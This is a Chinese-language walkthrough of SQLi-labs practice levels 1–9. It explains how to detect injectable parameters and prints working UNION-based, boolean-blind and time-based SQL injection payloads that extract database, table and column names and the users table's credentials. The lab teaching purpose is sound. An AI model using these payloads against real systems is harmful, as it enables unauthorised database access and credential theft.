努力的人永远都不会差!
目录
Page 1
Less 1
解题过程:
首先进入页面,提示输入一个id的参数,我们使用hackbar的工具,首先输入id=1,能够那个显示,结果如下:
再输入非整形,依旧可以。说明这是字符型
接下来判断闭合方式,在刚才的字符后面加上一个’(英文)
报错
报错信息重点是''1adfs'' LIMIT 0,1',去掉我们输入的1abfs',剩下来''xx' LIMIT 0,1',并且要保持成双配对原则,第一个引号与最后一个配对,作为报错信息的标志,在这里可以知道闭合方式是单引号。
输入一下信息,正常输出
然而输出一下信息,没有显示
结果:
说明执行了我们的操作,有sql注入漏洞
使用order by 参看列数:
将4换成3,有输出
使用union select查看回显位,mysql的select 在直接select一个字符串常量或者数字的时候,会直接返回
没有四个,换成成功
查询数据库名,将id改为-1,查询不到就会显示我们想要查询的名了。
执行database()来查看当前数据库,执行user()来查看当前连接数据库的用户。
由此可知,我们的数据库名为security
现在我们要根据数据库名查表名
也可以这么写
都可以获得表名
根据表名查列名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3 --+
查询具体的值
获得用户名及密码:
总结:
http://sqli.com/sqli-1.php?id=1 union select 1,schema_name,3 from information_schema.schemata。
获取所有数据库名
Page 1
Less 2
解题过程:
进入第二关
利用时间盲注,发现停顿了4秒,有漏洞
利用order by得到列数为3
获取到数据库名为security
利用backbar输入以下代码获得所有security的列名和数据库名
/?id=-1 union select 1,(select group_concat(column_name)
from information_schema.columns where table_schema='security'
and table_name='users'),(select group_concat(schema_name)
from information_schema.schemata)
设法获得users的列名,第一关有讲
获得所有的数据
Page 1
Less 3
解题过程:
来到第三关
输入?id=1'
可以知道是单引号,而且有括号,应是('')
网页加载了三秒,证明可以注入了,用第二关的方法,结束
Page 1
Less 4
解题过程:
来到第四关
正常执行
而双引号报错
判断为("")
然后按照前几关就行了
Page 1
Less 5
解题过程:
来到第五关
输入?id=1‘报错
可以知道为单引号
这里判断列数为3,接下来判断回显位,由于每次的回显都一样,所以要进行盲注
通过length确认数据库字符串长度
一个一个的试,确认数据库名为8
?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。
lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,
b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们
要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,
这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from
information_schema.tables where
table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name)
from information_schema.tables where
table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name)
from information_schema.columns where
table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name)
from information_schema.columns where
table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat
(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password)
from users),1,1))>50--+
逐一检测内容。
判断出字符串长度为29
根据ascil码确定table名
由于布尔盲注太浪费时间了,这里笔者就不浪费时间了。
Page 1
Less 6
解题过程:
来到第六关
判断出是双引号,接下来步骤跟第五关一样
Page 1
Less 7
解题过程:
单引号报错,接下来判断是不是括号闭合
报错,说明不是单单的‘’闭合,而是有括号,接下来和第五关一样
Page 1
Less 8
解题过程:
来到第八关
方式简单,不加赘述
Page 1
Less 9
解题过程:
来到第九关
注入发现无论怎么注入,都没有反应
按照下面注入也没有反应,把”换成‘sleep了五秒,证明这里有sql注入漏洞
if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。
按照如下代码,你可以的,思路跟之前一样
http://192.168.0.30/sqli-labs/Less-9/?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema =database()))>50,sleep(5),1)%23